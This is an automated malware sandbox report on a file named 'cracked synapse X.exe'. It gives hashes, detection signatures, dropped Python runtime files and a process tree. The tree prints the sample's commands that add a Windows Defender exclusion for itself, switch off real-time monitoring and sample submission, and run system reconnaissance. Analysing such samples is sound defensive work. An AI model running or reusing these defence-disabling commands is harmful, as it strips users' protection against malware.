Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    14s
  • max time network
    20s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/02/2024, 17:47

General

  • Target

    cracked synapse X.exe

  • Size

    8.5MB

  • MD5

    cc0d99940f21f5e84e04959dad103297

  • SHA1

    621f9014350b5783b0cb8bbea788b391b5edffb5

  • SHA256

    b8a1c50d7cc6b3998f5be9f1369f7f65b9f46053f20ead650b197b9d251ec390

  • SHA512

    095a0e9dba92c08a7db36af410dbfaefe0947e22e374797eabe7d51396a79dae7476c059376dd931530e15d011a6011abf58be929f9e43ea8828cfd170fa0a9e

  • SSDEEP

    196608:+VafMj8SEeNQ9iBqDfq2BGV3UoTHdDGU:Wafe7pAaUWDT

Score
7/10
upx

Malware Config

Signatures

  • Loads dropped DLL 18 IoCs
  • UPX packed file 53 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cracked synapse X.exe
    "C:\Users\Admin\AppData\Local\Temp\cracked synapse X.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2420
    • C:\Users\Admin\AppData\Local\Temp\cracked synapse X.exe
      "C:\Users\Admin\AppData\Local\Temp\cracked synapse X.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "net session"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4256
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2476
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:4776
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cracked synapse X.exe'"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1452
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cracked synapse X.exe'
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2168
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2368
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3812
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2800
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4820

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      cd5b15b46b9fe0d89c2b8d351c303d2a

      SHA1

      e1d30a8f98585e20c709732c013e926c7078a3c2

      SHA256

      0a8a0dcbec27e07c8dc9ef31622ac41591871416ccd9146f40d8cc9a2421da7a

      SHA512

      d7261b2ff89adcdb909b775c6a47b3cd366b7c3f5cbb4f60428e849582c93e14e76d7dcadec79003eef7c9a3059e305d5e4f6b5b912b9ebc3518e06b0d284dd7

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      6afaddfa0e56640888bacf04af02ffe0

      SHA1

      165ff8a5ec02adff2ed242597a476288f5df2aad

      SHA256

      8560053be1d500a5f3b2e98e7ee876462742b4c3929aa1876d6b8e66f7dfc0b1

      SHA512

      22d516b49ee6630711c335246864d08a1281a81b8fe52a744b305bfbaf42ae4591565074530bfd0e6b9dbe5eba130b701d271a58ee956eb237e99c71f7e37af9

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\_ctypes.pyd

      Filesize

      56KB

      MD5

      87b8aeb5edfc1c726f84de4e138b1ce3

      SHA1

      2dead0e15c24091731714f8d66070cac7478cb6f

      SHA256

      7b18b392698f3144428f1e7830e9def12163189fcf65b0ca59f3c7f69cb02ff4

      SHA512

      0c6d188cfa72c974a1f126e1ae200a6070cd9a42b9b9bb15ae37848a1cf13b86af2e54534bd147198587b54d4789eec2ccc739c2422a2c0d6bcb440e7e22c638

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\_hashlib.pyd

      Filesize

      33KB

      MD5

      707ebd302ea59a2113fd603502f2e751

      SHA1

      dd4487daae5cc410785f6f611dd7c0ef579a683b

      SHA256

      a78dba08b85c7a98676b677ffe458a5bfc7e8fab07caccd5824ae6a898a7a884

      SHA512

      f45ad9ec6df5aab380ef4022af3b86f5a2f53a033c4c3b0654b169a705b4c3f4d23651bbc255c5d7fcbbcfe7f06d94e5e4e29ab3f57643d602b3be84e0ec29e1

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\_sqlite3.pyd

      Filesize

      54KB

      MD5

      34b0e812657d425548113a27d97ae0fc

      SHA1

      6632b6d532a2662051ad72f8da81bfec26acbac1

      SHA256

      2679a5e558c45aaf7e3936fd112682934707b668860c4ff962a446cf8c4f6e21

      SHA512

      0777ac0fb77419a6867d90818cbaf2d9abca86cbddc6a43c7298b4343bdd5a04e7cbe9f9a1ea50ae8211c744ad5977f27a4afd5a66b684f92f73e1fc61c4dccf

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\_ssl.pyd

      Filesize

      60KB

      MD5

      27b6c55dad77537ae6c4010443966eb6

      SHA1

      ecf5a88e9ad7a5f1b3872378e6ec2185d2494301

      SHA256

      ce587323d681009c10526ce6aea671f4bfa3293cb839096f9e34751e31f374c8

      SHA512

      e4ccc3632c53baad9d340ec865fcc8d5143a8e16220849d71c28080fdf092356d1429b0d48ae4eb54720ec69bcce815e2744325535cc9cc51e720dc5886db44b

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\base_library.zip

      Filesize

      640KB

      MD5

      add198e2c1dc1def0151ade372343faa

      SHA1

      c7b0adcfbb0db33420c486157142c2abf8af8ae5

      SHA256

      ca55076148d040c3c6a94bf41d10e67db79cd0fe3085c66e5513e66cf600a1fb

      SHA512

      a8c02503377601f2e06a5e02783501a04346d0d0ad8e6b5f2f057bd9a4ba59c0c86758b2727f0770eec14807d5d09b735680f13789450ed1049be8021056cc50

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\libcrypto-1_1.dll

      Filesize

      1.1MB

      MD5

      c702b01b9d16f58ad711bf53c0c73203

      SHA1

      dc6bb8e20c3e243cc342bbbd6605d3ae2ae8ae5b

      SHA256

      49363cba6a25b49a29c6add58258e9feb1c9531460f2716d463ab364d15120e1

      SHA512

      603d710eb21e2844739edcc9b6d2b0d7193cdbc9b9efe87c748c17fdc88fa66bc3fdae2dca83a42a17d91c4fdf571f93f5cc7cd15004f7cb0695d0130813aa7e

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\python311.dll

      Filesize

      1.6MB

      MD5

      109e26bea83e7cd897d296c803502722

      SHA1

      d6c7fce09407b993207f5522fa6db0fd1aad8b22

      SHA256

      4834d101c620e32e059ba73cf13f53252c48b9326b9342cb1aa9da0a5b329e24

      SHA512

      b553a151d1fa81e578da83793eed8aa14862a91772cec16caef00b196c33b2f905beb7342c2d876306b068573be1ce543fac653d1177a1605e27a54ee1354cda

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\select.pyd

      Filesize

      24KB

      MD5

      880b5f3e02c70698647793c8b0ed563c

      SHA1

      d67d3b8e2cfbb9abeed7226f4c72f48ede7437f9

      SHA256

      8b03b7aada480f262d5c8802ac09842933c6502120e48b12ef9cb01b1fff4e14

      SHA512

      cfe222935aebdd9cb9236baa54e5eb7bef18bf6d8783fd58eab2717ec657c06ecd204d6a47373dadcb2bdc7e8552cb804397ac20cf3a7063e1073b91dcd0358c

    • C:\Users\Admin\AppData\Local\Temp\_MEI24202\sqlite3.dll

      Filesize

      606KB

      MD5

      5d4c95af31caed6fc4ebd82092e0a744

      SHA1

      caf9e1d55988ebe2bf90ced9bad5637bebb857b1

      SHA256

      24127a86a271c28df9dd086305153bd34294cd0586352b416b7e77d59966930e

      SHA512

      52cf13c9fe035dc29cb770b915f77029910af003daeb37e8355f09347415309d0ae57e53a940de6ae63cc1422360bac279970f186c17f3c692d9c9184af0d0df

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t0ctswiw.4dc.ps1

      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    • \Users\Admin\AppData\Local\Temp\_MEI24202\PIL\_imaging.cp311-win_amd64.pyd

      Filesize

      732KB

      MD5

      e382184096e78544c3d9eb9df61d6200

      SHA1

      e928c6f4bfd58f743c903289c09166dfa1b3207f

      SHA256

      f89c546766e5e309b8b16240bd139b47956951507cf9b5382f7baee00606961e

      SHA512

      a96c7f6553cde4789c5209e6790880fa89069a466e155f121d1ed67d28c3ce7846e3efabcc089d512c8c24f3f3e0dee2fb9b9ae4d6883176b53e19e85f8bfa0b

    • \Users\Admin\AppData\Local\Temp\_MEI24202\VCRUNTIME140.dll

      Filesize

      106KB

      MD5

      870fea4e961e2fbd00110d3783e529be

      SHA1

      a948e65c6f73d7da4ffde4e8533c098a00cc7311

      SHA256

      76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

      SHA512

      0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

    • \Users\Admin\AppData\Local\Temp\_MEI24202\_bz2.pyd

      Filesize

      46KB

      MD5

      bc041500b58c6437e73fe096d050d2f3

      SHA1

      852205bcc3ff9f8e897747559be166d179caafad

      SHA256

      a1a19e4e4de86d10087b413e7b7d9bd6bcd73b3770a25cccf75dc2d79c295ef7

      SHA512

      c29de529e2f56be7d309da63d86a2d23e124ca41bf9d83aab663d844e67eecc4bc3e7ce379ff0ca6e03f0756cf84a7ad66e6cc924eac0eae7851adc2dedf5fdc

    • \Users\Admin\AppData\Local\Temp\_MEI24202\_lzma.pyd

      Filesize

      84KB

      MD5

      1cc5f14b3177ca794f103615d678ec71

      SHA1

      d63ebfe06392b2aa2be78cd86fef31e06490f174

      SHA256

      d4ac9bd1975e47c64217b478849268ef50b5a543967ce3c0a159cb3ead30a72e

      SHA512

      3437b20be74499773e0ce780134ebb9c8a5c080432789e6ca7efb41f00138d01aef98006b3dd20c58722ea750cadbcd376b3ca2fae9f040f37164a67d375b753

    • \Users\Admin\AppData\Local\Temp\_MEI24202\_queue.pyd

      Filesize

      24KB

      MD5

      d2a8cd7b5a9a2a122ce6bb52dd8fb2c2

      SHA1

      f40608154a06f6565c0e2707050a276006768931

      SHA256

      bef919b90490e2a173781d6866b7710fd04639049a389faa3fbef49c26adc5dc

      SHA512

      8d7e7137a0f63b806c4f3f29573057c499ea9232153258c27d0c501dfce101d479030c7294dcb80ccd1cb7bc99170144c1e91413308b7d132c43e2a2312c59fc

    • \Users\Admin\AppData\Local\Temp\_MEI24202\_socket.pyd

      Filesize

      41KB

      MD5

      f6c396d6fe2b999a575fb65309769bc3

      SHA1

      102acdf2fa964342ad2d5b96a5adee99110a3bb4

      SHA256

      6ab66517e2e1c885bf05dd3d9141f55665aa9825d4d320ffce6930574464ff59

      SHA512

      0cecce5e1bedc03d84715f151f95ab4375f279188998dc71db0bcf2a0afa36ff5ee6dfbd69c57195fff520d780e98c508451f8c7a94b77ca2c836bdb9fca6e1f

    • \Users\Admin\AppData\Local\Temp\_MEI24202\libcrypto-1_1.dll

      Filesize

      1.1MB

      MD5

      86429b7862eb83b78e421cabd0ae4ba2

      SHA1

      58f1cd162d8e36730e2f10731627d67c133d4e73

      SHA256

      a1b74d5b11bccdf028fb9581a1ce98c0e220da42f3762bd8a93172c1eb249cff

      SHA512

      2b58b036f8af9a77a504dbb747d92f75fa677578b820be74f0fdfd8d3cd78ae4998279d20df4e7bf2839ddcd22c9815ded5bd58e14d421309a8505fbc69c8125

    • \Users\Admin\AppData\Local\Temp\_MEI24202\libffi-8.dll

      Filesize

      27KB

      MD5

      85eb80a41bc7dac7795e3194831883d6

      SHA1

      94d8f9607b8cc0893ab0798aeb02ae740e3f445e

      SHA256

      19f877901640af18a27d340002744a2a1709e106b3972b9ca5336ece43a91522

      SHA512

      42205da7e5af87c5e7f9198db5d198173142876b541dc8abe0ea9e0a23041366e7e85b545efe97447aac6774feb1a40069580051928d3541cec0ff5e99cca8a7

    • \Users\Admin\AppData\Local\Temp\_MEI24202\libssl-1_1.dll

      Filesize

      203KB

      MD5

      eed3b4ac7fca65d8681cf703c71ea8de

      SHA1

      d50358d55cd49623bf4267dbee154b0cdb796931

      SHA256

      45c7be6f6958db81d9c0dacf2b63a2c4345d178a367cd33bbbb8f72ac765e73f

      SHA512

      df85605bc9f535bd736cafc7be236895f0a3a99cf1b45c1f2961c855d161bcb530961073d0360a5e9f1e72f7f6a632ce58760b0a4111c74408e3fcc7bfa41edd

    • \Users\Admin\AppData\Local\Temp\_MEI24202\tinyaes.cp311-win_amd64.pyd

      Filesize

      17KB

      MD5

      e058c833777e27d6b46a4aa4244f840a

      SHA1

      f3e144cee4fcaa09f7c0f7a2f1d124b3740f95e9

      SHA256

      72d221dc53979820e152436b1fff307ba55a9f8fd3b208645b6b52c3676dd64e

      SHA512

      29680311bd40ecd85db6d1727852005ab44c48475e80cc28a5eb2f7d879d28b6c0b43f11fce67432b4aa34da2c31804fce5dea2f2657854997c43702b67d4a85

    • memory/2168-95-0x000001E52D8C0000-0x000001E52D8D0000-memory.dmp

      Filesize

      64KB

    • memory/2168-93-0x00007FFB73350000-0x00007FFB73D3C000-memory.dmp

      Filesize

      9.9MB

    • memory/2168-94-0x000001E52D8C0000-0x000001E52D8D0000-memory.dmp

      Filesize

      64KB

    • memory/2168-100-0x000001E5459F0000-0x000001E545A12000-memory.dmp

      Filesize

      136KB

    • memory/2168-148-0x000001E52D8C0000-0x000001E52D8D0000-memory.dmp

      Filesize

      64KB

    • memory/2168-220-0x000001E52D8C0000-0x000001E52D8D0000-memory.dmp

      Filesize

      64KB

    • memory/2168-229-0x00007FFB73350000-0x00007FFB73D3C000-memory.dmp

      Filesize

      9.9MB

    • memory/2300-82-0x00007FFB87A70000-0x00007FFB87A94000-memory.dmp

      Filesize

      144KB

    • memory/2300-143-0x00007FFB73D40000-0x00007FFB740B5000-memory.dmp

      Filesize

      3.5MB

    • memory/2300-71-0x00007FFB740C0000-0x00007FFB746A9000-memory.dmp

      Filesize

      5.9MB

    • memory/2300-80-0x00007FFB73D40000-0x00007FFB740B5000-memory.dmp

      Filesize

      3.5MB

    • memory/2300-81-0x00007FFB82780000-0x00007FFB829D2000-memory.dmp

      Filesize

      2.3MB

    • memory/2300-77-0x0000026F90A00000-0x0000026F90D75000-memory.dmp

      Filesize

      3.5MB

    • memory/2300-83-0x00007FFB83190000-0x00007FFB831A4000-memory.dmp

      Filesize

      80KB

    • memory/2300-67-0x00007FFB83300000-0x00007FFB8332E000-memory.dmp

      Filesize

      184KB

    • memory/2300-84-0x00007FFB83180000-0x00007FFB8318D000-memory.dmp

      Filesize

      52KB

    • memory/2300-62-0x00007FFB87A50000-0x00007FFB87A5D000-memory.dmp

      Filesize

      52KB

    • memory/2300-60-0x00007FFB83560000-0x00007FFB83579000-memory.dmp

      Filesize

      100KB

    • memory/2300-34-0x00007FFB740C0000-0x00007FFB746A9000-memory.dmp

      Filesize

      5.9MB

    • memory/2300-56-0x00007FFB82F10000-0x00007FFB83080000-memory.dmp

      Filesize

      1.4MB

    • memory/2300-98-0x00007FFB835A0000-0x00007FFB835CD000-memory.dmp

      Filesize

      180KB

    • memory/2300-40-0x00007FFB87E10000-0x00007FFB87E20000-memory.dmp

      Filesize

      64KB

    • memory/2300-54-0x00007FFB83330000-0x00007FFB83353000-memory.dmp

      Filesize

      140KB

    • memory/2300-99-0x00007FFB83580000-0x00007FFB83599000-memory.dmp

      Filesize

      100KB

    • memory/2300-41-0x00007FFB87A70000-0x00007FFB87A94000-memory.dmp

      Filesize

      144KB

    • memory/2300-44-0x00007FFB87A60000-0x00007FFB87A6F000-memory.dmp

      Filesize

      60KB

    • memory/2300-50-0x00007FFB83580000-0x00007FFB83599000-memory.dmp

      Filesize

      100KB

    • memory/2300-123-0x00007FFB740C0000-0x00007FFB746A9000-memory.dmp

      Filesize

      5.9MB

    • memory/2300-126-0x00007FFB87E10000-0x00007FFB87E20000-memory.dmp

      Filesize

      64KB

    • memory/2300-127-0x00007FFB87A70000-0x00007FFB87A94000-memory.dmp

      Filesize

      144KB

    • memory/2300-129-0x00007FFB87A60000-0x00007FFB87A6F000-memory.dmp

      Filesize

      60KB

    • memory/2300-131-0x00007FFB835A0000-0x00007FFB835CD000-memory.dmp

      Filesize

      180KB

    • memory/2300-132-0x00007FFB83580000-0x00007FFB83599000-memory.dmp

      Filesize

      100KB

    • memory/2300-134-0x00007FFB83330000-0x00007FFB83353000-memory.dmp

      Filesize

      140KB

    • memory/2300-135-0x00007FFB82F10000-0x00007FFB83080000-memory.dmp

      Filesize

      1.4MB

    • memory/2300-137-0x00007FFB83560000-0x00007FFB83579000-memory.dmp

      Filesize

      100KB

    • memory/2300-139-0x00007FFB87A50000-0x00007FFB87A5D000-memory.dmp

      Filesize

      52KB

    • memory/2300-142-0x00007FFB831B0000-0x00007FFB83268000-memory.dmp

      Filesize

      736KB

    • memory/2300-72-0x00007FFB831B0000-0x00007FFB83268000-memory.dmp

      Filesize

      736KB

    • memory/2300-144-0x00007FFB83190000-0x00007FFB831A4000-memory.dmp

      Filesize

      80KB

    • memory/2300-141-0x00007FFB83300000-0x00007FFB8332E000-memory.dmp

      Filesize

      184KB

    • memory/2300-146-0x00007FFB83180000-0x00007FFB8318D000-memory.dmp

      Filesize

      52KB

    • memory/2300-147-0x00007FFB82780000-0x00007FFB829D2000-memory.dmp

      Filesize

      2.3MB

    • memory/2300-47-0x00007FFB835A0000-0x00007FFB835CD000-memory.dmp

      Filesize

      180KB

    • memory/2368-145-0x000001A3B1C00000-0x000001A3B1C10000-memory.dmp

      Filesize

      64KB

    • memory/2368-217-0x000001A3B1C00000-0x000001A3B1C10000-memory.dmp

      Filesize

      64KB

    • memory/2368-104-0x000001A3CBCC0000-0x000001A3CBD36000-memory.dmp

      Filesize

      472KB

    • memory/2368-224-0x00007FFB73350000-0x00007FFB73D3C000-memory.dmp

      Filesize

      9.9MB

    • memory/2368-101-0x00007FFB73350000-0x00007FFB73D3C000-memory.dmp

      Filesize

      9.9MB

    • memory/2368-97-0x000001A3B1C00000-0x000001A3B1C10000-memory.dmp

      Filesize

      64KB

    • memory/2368-96-0x000001A3B1C00000-0x000001A3B1C10000-memory.dmp

      Filesize

      64KB